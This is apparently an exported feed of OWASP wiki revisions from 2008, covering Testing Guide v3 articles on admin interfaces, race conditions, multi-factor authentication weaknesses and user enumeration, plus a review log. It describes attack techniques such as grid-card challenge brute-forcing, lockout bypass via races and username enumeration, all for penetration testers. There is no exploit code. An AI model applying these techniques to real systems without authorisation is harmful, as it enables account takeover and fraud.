Review of the administrative interfaces used to manage the different parts of the architecture is very important, since if an attacker gains access to any of them he can then compromise or damage the application architecture. Thus it is important to:&lt;br /&gt;
&lt;br /&gt;
* List all the possible administrative interfaces.&lt;br /&gt;
* Determine if administrative interfaces are available from an internal network or are also available from the Internet.&lt;br /&gt;
* If available from the Internet, determine the mechanisms that control access to these interfaces and their associated susceptibilities.&lt;br /&gt;
* Change the default user and password.&lt;br /&gt;
&lt;br /&gt;
Some companies choose not to manage all aspects of their web server applications, but may have other parties managing the content delivered by the web application. This external company might either provide only parts of the content (news updates or promotions) or might manage the web server completely (including content and code). It is common to find administrative interfaces available from the Internet in these situations, since using the Internet is cheaper than providing a dedicated line that will connect the external company to the application infrastructure through a management-only interface. In this situation, it is very important to test if the administrative interfaces can be vulnerable to attacks.&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* [1] WebSEAL, also known as Tivoli Authentication Manager, is a reverse proxy from IBM which is part of the Tivoli framework.&lt;br /&gt;
* [2] Such as Symantec’s Bugtraq, ISS’ X-Force, or NIST’s National Vulnerability Database (NVD).&lt;br /&gt;
* [3] There are some GUI-based administration tools for Apache (like NetLoony) but they are not in widespread use yet.&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Project_v3_Review_Roadmap&amp;diff=38801</id>
		<title>OWASP Testing Project v3 Review Roadmap</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Project_v3_Review_Roadmap&amp;diff=38801"/>
				<updated>2008-09-07T17:21:31Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''This page track all the update to the Testing Guide v3 during the Reviewing phase.'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In particular the focus is:&amp;lt;br&amp;gt;&lt;br /&gt;
- Review the content of each article&amp;lt;br&amp;gt;&lt;br /&gt;
- Review the english sintax&amp;lt;br&amp;gt;&lt;br /&gt;
- no &amp;quot;attacker&amp;quot;, better &amp;quot;tester&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
- no &amp;quot;we describe&amp;quot;, but &amp;quot;it is described&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Official Testing Guide Reviewers are:&lt;br /&gt;
* Nam Nguyen&lt;br /&gt;
* Kevin R.Fuller&lt;br /&gt;
* if you want to review it add your name please and keep track of updating&lt;br /&gt;
&lt;br /&gt;
'''Nam Review:'''&lt;br /&gt;
----&lt;br /&gt;
Aug 31, 2008&lt;br /&gt;
* Appendix D&lt;br /&gt;
* Appendix C&lt;br /&gt;
* Appendix B&lt;br /&gt;
* Appendix A&lt;br /&gt;
* Chapter 5&lt;br /&gt;
** [[How to write the report of the testing]]&lt;br /&gt;
*** ``TO UPDATE WITH V3 controls`` is still in the article. Has it been updated to v3? '''(Mat: I'm updating it, thanks)'''&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.11 [[Testing for AJAX Vulnerabilities]]&lt;br /&gt;
*** There are mentioning of &amp;quot;attackers&amp;quot; but I think they are fine.&lt;br /&gt;
*** The subsection on Memory leaks is not complete.&lt;br /&gt;
** Section 4.11 [[Testing for AJAX]]&lt;br /&gt;
*** The subsection &amp;quot;Intercepting and Debugging JS code with Browsers&amp;quot; is very difficult to understand. I tried to fix it, but I'm afraid what I have might not reflect what the original author wanted to express.&lt;br /&gt;
&lt;br /&gt;
Sep 02, 2008&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.10&lt;br /&gt;
*** Subsection [[Testing for WS Replay]] Gray box testing and examples gives incomplete sample code. I believe the call to GetSessionIDMac() missed four parameters. In this same part, using SSL helps in preventing replay attack but it doesnt prevent replay attack by itself. In this same subection, the images show identifiable real Internet address in Hungary, should them be masked off?&lt;br /&gt;
&lt;br /&gt;
Sep 04, 2008&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.9&lt;br /&gt;
** Section 4.8&lt;br /&gt;
*** I'm not sure if format string could be classified under subsection 4.8.14 &amp;quot;Buffer overflow testing&amp;quot;.&lt;br /&gt;
*** Subsecion 4.8.3: Incomplete&lt;br /&gt;
*** Subsection 4.8.4: Incomplete&lt;br /&gt;
*** Subsection 4.8.5: What is &amp;quot;data-plane input&amp;quot;?&lt;br /&gt;
&lt;br /&gt;
Sep 06, 2008&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.8&lt;br /&gt;
&lt;br /&gt;
Sep 07, 2008&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.7&lt;br /&gt;
** Section 4.6&lt;br /&gt;
*** Subsection 4.6.1: &amp;quot;Review code for path traversal&amp;quot; does not exist in the Code Review Guide, or the link the broken.&lt;br /&gt;
** Section 4.5&lt;br /&gt;
&lt;br /&gt;
'''Kevin Review:'''&lt;br /&gt;
----&lt;br /&gt;
Date&amp;lt;br&amp;gt;&lt;br /&gt;
articles reviewed&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Date&amp;lt;br&amp;gt;&lt;br /&gt;
articles reviewed&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Questions: (Mat will answer it)&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Race_Conditions_(OWASP-AT-010)&amp;diff=38800</id>
		<title>Testing for Race Conditions (OWASP-AT-010)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Race_Conditions_(OWASP-AT-010)&amp;diff=38800"/>
				<updated>2008-09-07T17:20:25Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Gray Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
A race condition is a flaw that produces an unexpected result when timing of actions impact other actions. An example may be seen on a multithreaded application where actions are being performed on the same data. Race conditions, by their very nature, are difficult to test for.&lt;br /&gt;
&lt;br /&gt;
==Description of the Issue==&lt;br /&gt;
Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events. &lt;br /&gt;
In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled&lt;br /&gt;
by the framework, server or programming language.&lt;br /&gt;
The following simplified example illustrates a potential concurrency problem in a transactional web application and relates to a joint savings account in which both users (threads) are logged into the same account and attempting a transfer.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Account A has 100 credits.&amp;lt;br&amp;gt;&lt;br /&gt;
Account B has 100 credits.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Both User 1 and User 2 want to transfer 10 credits from Account A to Account B. If the transaction was correct the outcome should be:&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Account A has 80 credits.&amp;lt;br&amp;gt;&lt;br /&gt;
Account B has 120 credits.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
However, due to concurrency issues, the following result could be obtained:&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
User 1 checks the value of Account A (=100 credits)&amp;lt;br&amp;gt;&lt;br /&gt;
User 2 checks the value of Account A (=100 credits)&amp;lt;br&amp;gt;&lt;br /&gt;
User 2 takes 10 credits from Account A (=90 credits) and put it in Account B (=110 credits)&amp;lt;br&amp;gt;&lt;br /&gt;
User 1 takes 10 credits from Account A (Still believed to contain 100 credits) (=90 credits) and puts it into Account B (=120 credits).&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Result:&lt;br /&gt;
Account A has 90 credits.&amp;lt;br&amp;gt;&lt;br /&gt;
Account B has 120 credits.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Another example can be seen in OWASP's WebGoat project under the Thread Safety lesson and shows how a shopping cart can be manipulated to purchase items for less than their advertised price. This, as with the example above, is due to the data changing between the time of check and its time of use.&lt;br /&gt;
&lt;br /&gt;
==Black Box testing and example==&lt;br /&gt;
Testing for race conditions is problematic due to their nature, and external influences on testing including server load, network latency etc will all play a part in the presence and detection of the condition.&amp;lt;br&amp;gt;&lt;br /&gt;
However, testing can be focused at specific transactional areas of the application, where time of read to time of use of specific data variables could be adversely affected by concurrency issues.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Black Box testing attempts to force a race condition may include the ability to make multiple simultaneous requests while observing the outcome for unexpected behavior.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Examples of such areas are illustrated in the paper &amp;quot;On Race Vulnerabilities in Web Applications&amp;quot;, cited in the further reading section. The authors suggest that it may be possible in certain circumstances to:&lt;br /&gt;
&lt;br /&gt;
* Create multiple user accounts with the same username.&lt;br /&gt;
* Bypass account lockouts against brute forcing.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Testers should be aware of the security implications of race conditions and their factors surrounding their difficulty of testing.&lt;br /&gt;
&lt;br /&gt;
==Gray Box testing and example==&lt;br /&gt;
&lt;br /&gt;
Code review may reveal likely areas of concern for concurrency issues. More information on reviewing code for concurrency issues can be seen at OWASP Code Review Guide's [[Reviewing Code for Race Conditions]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
iSec Partners - Concurrency attacks in Web Applications http://isecpartners.com/files/iSEC%20Partners%20-%20Concurrency%20Attacks%20in%20Web%20Applications.pdf&amp;lt;br&amp;gt;&lt;br /&gt;
B. Sullivan and B. Hoffman - Premature Ajax-ulation and You https://www.blackhat.com/presentations/bh-usa-07/Sullivan_and_Hoffman/Whitepaper/bh-usa-07-sullivan_and_hoffman-WP.pdf&amp;lt;br&amp;gt;&lt;br /&gt;
Thread Safety Challenge in WebGoat - http://www.owasp.org/index.php/OWASP_WebGoat_Project&amp;lt;br&amp;gt;&lt;br /&gt;
R. Paleari, D. Marrone, D. Bruschi, M. Monga - On Race Vulnerabilities in Web Applications http://security.dico.unimi.it/~roberto/pubs/dimva08-web.pdf&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_Multiple_Factors_Authentication_(OWASP-AT-009)&amp;diff=38799</id>
		<title>Testing Multiple Factors Authentication (OWASP-AT-009)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_Multiple_Factors_Authentication_(OWASP-AT-009)&amp;diff=38799"/>
				<updated>2008-09-07T17:11:07Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Gray Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Evaluating the strength of a “Multiple Factors Authentication system” (MFAS) is a critical task for the Penetration tester.  Banks and other Financial institutions are going to spend considerable amounts of money on expensive MFAS; therefore performing accurate tests before the adoption of a particular solution is absolutely suggested. In addition a further responsibility of the Penetration Testers is to acknowledge if the currently adopted MFAS is effectively able to defend the organization assets from the threats that generally drive the adoption of a MFAS.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Generally the aim of a two factor authentication system is to enhance the strength of the authentication process [1]. This goal is achieved by checking an additional factor, or “something you have” as well as “something you know”, making sure that the user holds a hardware device of some kind in addition to the password. The hardware device provided  to the user may be able to communicate directly and independently  with the authentication infrastructure using an additional communication channel; this particular feature is something known as “separation of channels”.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Bruce Schneier in 2005 observed that some years ago “the threats were all passive: eavesdropping and offline password guessing. Today, the threats are more active: phishing and Trojan horses” [2]. Actually the common threats that a MFAS in a Web environment should correctly address include:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
# Credential Theft (Phishing, Eavesdropping, MITM e.g. Banking from compromised network)&lt;br /&gt;
# Weak Credentials (Credentials Password guessing and Password Bruteforcing attacks)&lt;br /&gt;
# Session based attacks (Session Riding, Session Fixation)&lt;br /&gt;
# Trojan and Malware attacks (Banking from compromised clients)&lt;br /&gt;
# Password Reuse (Using the same password for different purposes or operations, e.g. different transactions)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The optimal solution should be able to address all the possible attacks related to the 5 categories above. &lt;br /&gt;
Since the strength of an authentication solution is generally classified depending on how many “authentication factors” are checked when the user gets in touch with the computing system, the typical IT professional’s advise is: “If you are not happy with your current authentication solution, just add another authentication factor and it will be all right”. [3] Unfortunately, as we will see in the next paragraphs the risk associated to attacks performed by motivated attackers cannot be totally eliminated; in addition some MFAS solutions are more flexible and secure compared to the others.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Considering the ''5-Threats (5T)'' above we could analyze the strength of a particular MFAS solution, since the solution may be able to ''Address'', ''Mitigate''  or ''Not Remediate'' that particular Web Attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
A minimum amount of information about the authentication schema in use is necessary for testing the security of the MFAS solution in place. This is the main reason why the “Black Box Testing” section has been omitted. In particular, a general knowledge about the whole authentication infrastructure is important because:&lt;br /&gt;
* MFAS solutions are principally implemented to authenticate disposal operations.  Disposal actions are supposed to be performed in the inner parts of the secure website. &lt;br /&gt;
* Attacks carried out successfully against MFAS are performed with a high degree of control over what is happening. This statement is usually true because attackers can “grab” detailed information on a particular authentication infrastructure by harvesting any data they can intercept through Malware attacks. Assuming that an attacker must be a customer to know how the authentication of a banking website works is not always correct; the attackers just need to get control of a single customer to study the entire security infrastructure of a particular website (Authors of SilentBanker Trojan [4] are known for continuously collecting information of visited websites while infected users  browse the internet. Another example is the attack performed against the Swedish Nordea bank in 2005 [5]).&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The following examples are about a security evaluation of different MFAS, based upon the ''5T'' model presented above.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The most common authentication solutions for Web applications is User ID and password authentication. In this case,  an additional password for authorizing wire transfers is often required.&lt;br /&gt;
MFAS solution add “something you have” to the authentication process. This component is usually a:&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* One-time password (OTP) generator token.&lt;br /&gt;
* Grid Card, Scratch Card and any information that only the legitimate user is supposed to have in his wallet &lt;br /&gt;
* Crypto devices like USB tokens or smart cards, equipped with X.509 certificates.&lt;br /&gt;
* Randomly generated OTPs transmitted through a GSM SMS messages [SMSOTP] [6]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The following examples are about the testing and evaluation of different implementations of MFAS similar to the ones above. Penetration Testers should consider all possible weakness of the current solution to propose the correct Mitigating Factors, in case the infrastructure is already in place. A correct evaluation may also permit to choose the right MFAS for the infrastructure during a preliminary solution selection.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
A Mitigating Factor is any additional component or countermeasure that might result in reduced likelihood of exploitation of a particular vulnerability. Credit cards are a perfect example. Notice how little attention is paid to cardholder authentication. Clerks barely check signatures. People use their cards over the phone and on the Internet, where the card's existence isn't even verified . The credit card companies spend their security dollar “controlling” the transaction, not the cardholder [7].  The transactions could be effectively controlled by behavioral algorithms that automatically fill up a risk score chart while the user uses his own credit card. Anything that is marked as suspected could be temporarily blocked by the circuit.&amp;lt;br&amp;gt;&lt;br /&gt;
Another Mitigating Factor is also informing the customer about what is happening through a separate and secure channel. Credit Card industry uses this method for informing the user about credit card transactions via SMS messages. If a fraudulent action is taken, the user knows immediately that something gone wrong with his credit card. Real time information through separate channels can also have an higher accuracy by informing the user about transactions, before those transactions are successfully.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Common '''&amp;quot;User ID, password and Disposal password&amp;quot;''' usually protect from (3), partially from (2). Usually do not protect from (1), (4) and (5). From a Penetration tester point of view, for correctly testing this kind of authentication system, we should concentrate on what the solution should protect from.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In other words the adopters of a “User ID, Password and Disposal password” authentication solution should be protected from (2) and from (3). A penetration tester should check if the current implementation effectively enforce the adoption of strong passwords and if is resilient to Session Based attacks (e.g. Cross Site Request Forgeries attacks in order to force the user to submitting unwanted disposal operations).&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
*Vulnerability Chart for “UserID + Password + Disposal Password” based authentication:&amp;lt;br&amp;gt;&lt;br /&gt;
**''Known Weaknesses:''  1, 4 ,5&amp;lt;br&amp;gt;&lt;br /&gt;
**''Known Weaknesses (Details):''  This technology doesn’t protect from (1)  because the password is static and can be stolen through blended threat attacks [8] (e.g.  MITM attack against a SSLv2 connection). It doesn’t protect from (4) and (5) because it’s possible to submit multiple transactions with the same disposal password.&amp;lt;br&amp;gt;&lt;br /&gt;
**''Strengths (if well implemented):'' 2, 3&lt;br /&gt;
**''Strengths (Details):''  This technology protects from (2) only if password enforcement rules are in place. It protects from (3) because the need for a disposal password does not permit an attacker to abuse the current user session to submit disposal operations [9].&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Now let’s analyze some different implementations of MFASs:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''&amp;quot;One Time Password Tokens&amp;quot;''' protects from (1), (2) and (3) if well implemented. Do not always protect from (5). Almost never protect from (4).&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
*Vulnerability Chart for &amp;quot;One Time Password Tokens&amp;quot; based authentication:&amp;lt;br&amp;gt;&lt;br /&gt;
**''Known Weaknesses:''   4, sometimes 5&amp;lt;br&amp;gt;&lt;br /&gt;
**''Known Weaknesses (Details):''  OTP tokens do not protect from (4), because Banking Malware is able to modify the Web Traffic in real-time upon pre-configured rules; examples of this kind include malicious codes SilentBanker, Mebroot, and Trojan Anserin . Banking Malware works like a web proxy interacting  with HTTPS pages. Since Malware takes total control over a compromised client, any action that a user performs is registered and controlled: Malware may stop a legitimate transaction and redirecting  the wire transfer to a different location. Password Reuse (5) is a vulnerability that may affect OTP tokens. Tokens are valid for a certain amount of time e.g. 30 seconds; if the authentication does not discard tokens that have been already used, it could be possible that a single token may authenticate multiple transactions during its 30 seconds lifetime.&amp;lt;br&amp;gt;&lt;br /&gt;
**''Strengths (if well implemented):'' 1,2,3&amp;lt;br&amp;gt;&lt;br /&gt;
**''Strengths (Details):''  OTP tokens mitigate effectively (1), because token lifetime is usually very short. In 30 seconds the attacker should be able to steal the token, entering the banking website and performing a transaction. It could be feasible, but it’s not usually going to happen in large scale attacks. Usually protect from (2) because OTP HMAC are at least 6 digits long. Penetration Testers should check that the algorithm implemented by the OTP tokens under the test is safe enough and not predictable.  Finally usually protect from (3) because the disposal token is always required. Penetration testers should verify that the procedure of requesting the validation token would not be bypassed.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''&amp;quot;Grid Cards, Scratch Cards and any information that only the legitimate user is supposed to have in his Wallet&amp;quot;'''&lt;br /&gt;
should protect from (1), (2), (3). Like OTP tokens cannot protect from (4). During testing activities grid cards in particular have been found vulnerable to (5). Scratch card are not vulnerable to password reuse, because any code can be used just one time.&amp;lt;br&amp;gt;&lt;br /&gt;
The penetration tester during the assessment of technologies of this kind should pay particular attention to Password Reuse attacks (5) for grid cards. A grid card based system commonly would request the same code multiple times. An attacker would just need to know a single valid disposal code (e.g one of those inside the grid card), and to wait until the system requests the code that he knows. Tested grid cards that contain a limited number of combinations are usually prone to this vulnerability. (e.g., if a grid card contains 50 combinations the attacker just needs to ask for a disposal, filling up the fields, checking the challenge, and so on. This attack is not about bruteforcing the disposal code, it’s about bruteforcing the challenge).  Other common mistakes include a weak password policy. Any disposal password contained  inside the gridcard should have a length of at least 6 numbers .  Attacks could be very effective in combination with blended threats or Cross Site Request forgeries.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''&amp;quot;Crypto Devices with certificates (Token USB, Smart Cards)&amp;quot;''' offer a good layer of defense from (1), (2). It’s a common mistake to believe that they would always protect from (3), (4) and (5).&lt;br /&gt;
Unfortunately technologies offer the best security promises and at the same time some of the worst implementations around.  USB tokens vary from vendor to vendor. Some of them authorize a user when they are plugged in, and do not authorize operations when they are unplugged. It seems to be a good behavior, but what it looks like is that some of them add further layers of implicit authentication. Those devices, do not protect users from (3) (e.g. Session Riding and Cross Site Scripting code for automating transfers).&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Custom “Randomly generated OTPs transmitted through a GSM SMS messages [SMSOTP]”''' could protect effectively from  (1), (2), (3) and (5). Could also mitigate effectively (4) if well implemented. This solution, compared to the previous one is the only one that uses an independent channel to communicate with the banking infrastructure.&lt;br /&gt;
This solution is usually very effective if well implemented. By separating the communication channels, it’s possible to inform the user about what is going on.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Ex. of a disposal token sent via SMS:&amp;lt;br&amp;gt;&lt;br /&gt;
 &amp;quot;This token: 32982747 authorizes a wire transfer of $ 1250.4 to bank account 2345623 Bank of NY&amp;quot;.&lt;br /&gt;
The previous token authorizes a unique transaction, that is reported inside the text of the SMS message. In this way the user can control that the intended transfer is effectively going to be directed to the right bank account.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The approach described in this section is intended to provide a simple methodology to evaluate Multiple factor authentication systems. The examples shows are taken from real-case scenarios and can be used as a starting point for analyzing the efficacy of a custom MFAS.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
[1] [Definition] Wikipedia, Definition of Two Factor Authentication&amp;lt;br&amp;gt;&lt;br /&gt;
http://en.wikipedia.org/wiki/Two-factor_authentication&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[2] [SCHNEIER] Bruce Schneier, Blog Posts about two factor authentication 2005,&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.schneier.com/blog/archives/2005/03/the_failure_of.html&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.schneier.com/blog/archives/2005/04/more_on_twofact.html&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[3] [Finetti] Guido Mario Finetti, &amp;quot;Web application security in un-trusted client scenarios&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.scmagazineuk.com/Web-application-security-in-un-trusted-client-scenarios/article/110448&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[4] [SilentBanker Trojan] Symantec, Banking in Silence&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.symantec.com/enterprise/security_response/weblog/2008/01/banking_in_silence.html&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[5] [Nordea] Finextra, Phishing attacks against two factor authentication, 2005&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.finextra.com/fullstory.asp?id=14384&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[6] [SMSOTP] Bruce Schneier, “Two-Factor Authentication with Cell Phones”, November 2004,&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.schneier.com/blog/archives/2004/11/twofactor_authe.html&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[7] [Transaction Authentication Mindset] Bruce Schneier, &amp;quot;Fighting Fraudolent Transaction&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.schneier.com/blog/archives/2006/11/fighting_fraudu.html&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[8] [Blended Threat] http://en.wikipedia.org/wiki/Blended_threat&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[9] [GUNTEROLLMANN] Gunter Ollmann, “Web Based Session Management. Best practices in managing HTTP-based client sessions”,&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.technicalinfo.net/papers/WebBasedSessionManagement.htm&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_User_Enumeration_and_Guessable_User_Account_(OWASP-AT-002)&amp;diff=38780</id>
		<title>Testing for User Enumeration and Guessable User Account (OWASP-AT-002)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_User_Enumeration_and_Guessable_User_Account_(OWASP-AT-002)&amp;diff=38780"/>
				<updated>2008-09-07T13:53:27Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
The scope of this test is to verify if it is possible to collect a set of valid usernames by interacting with the authentication mechanism of the application. This test will be useful for the brute force testing, in which we verify if, given a valid username, it is possible to find the corresponding password. &lt;br /&gt;
Often, web applications reveal when a username exists on system, either as a consequence of a misconfiguration or as a design decision. For example, sometimes, when we submit wrong credentials, we receive a message that states that either the username is present on the system or the provided password is wrong.&lt;br /&gt;
The information obtained can be used by an attacker to gain a list of users on system. This information can be used to attack the web application, for example, through a brute force or default username/password attack.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
The tester should interact with the authentication mechanism of the application to understand if sending particular requests causes the application to answer in different manners. This issue exists because the information released from web application or web server, when we provide a valid username is different than when we use an invalid one.&lt;br /&gt;
&lt;br /&gt;
In some cases, we can receive a message that reveals if the provided credentials are wrong because an invalid username or an invalid password was used. Sometimes, we can enumerate the existing users by sending a username and an empty password. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
In a black box testing, we know nothing about the specific application, username, application logic and error messages on login page, or password recovery facilities.&lt;br /&gt;
If the applications is vulnerable, we receive a response message that reveals, directly or indirectly, some information useful for enumerating users. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''HTTP Response message''' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Testing for Valid user/right password''' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Record the server answer when you submit a valid userID and valid password.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
Using WebScarab, notice the information retrieved from this successful authentication (HTTP 200 Response, length of the response).&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Testing for valid user/wrong password''' &amp;lt;br&amp;gt;&lt;br /&gt;
Now, the tester should try to insert a valid userID and a wrong password and record the error message generated by the application.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
From the browser we will expect message similar to the following one:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:AuthenticationFailed.png]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or something like:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:NoConfFound.jpg]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
against any message that reveals the existence of user, for instance, message similar to:&amp;lt;br&amp;gt; 	&lt;br /&gt;
 Login for User foo: invalid password&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Using WebScarab, notice the information retrieved from this unsuccessful authentication attempt (HTTP 200 Response, length of the response).&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Testing for a nonexistent username''' &amp;lt;br&amp;gt;&lt;br /&gt;
Now, the tester should try to insert an invalid userID and a wrong password and record the server answer (you should be confident that the username is not valid in the application). Record the error message and the server answer.&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
If we enter a nonexistent userID, we can receive a message similar to:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:Userisnotactive.png]]&amp;lt;br&amp;gt;&lt;br /&gt;
or message like the following one:&amp;lt;br&amp;gt;&lt;br /&gt;
 Login failed for User foo: invalid Account&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Generally the application should respond with the same error message and length to the different wrong requests. If you notice that the responses are not the same, you should investigate and find out the key that creates a difference between the 2 responses. For example: &lt;br /&gt;
* Client request: Valid user/wrong password --&amp;gt; Server answer:'The password is not correct'&lt;br /&gt;
* Client request: Wrong user/wrong password --&amp;gt; Server answer:'User not recognized'&lt;br /&gt;
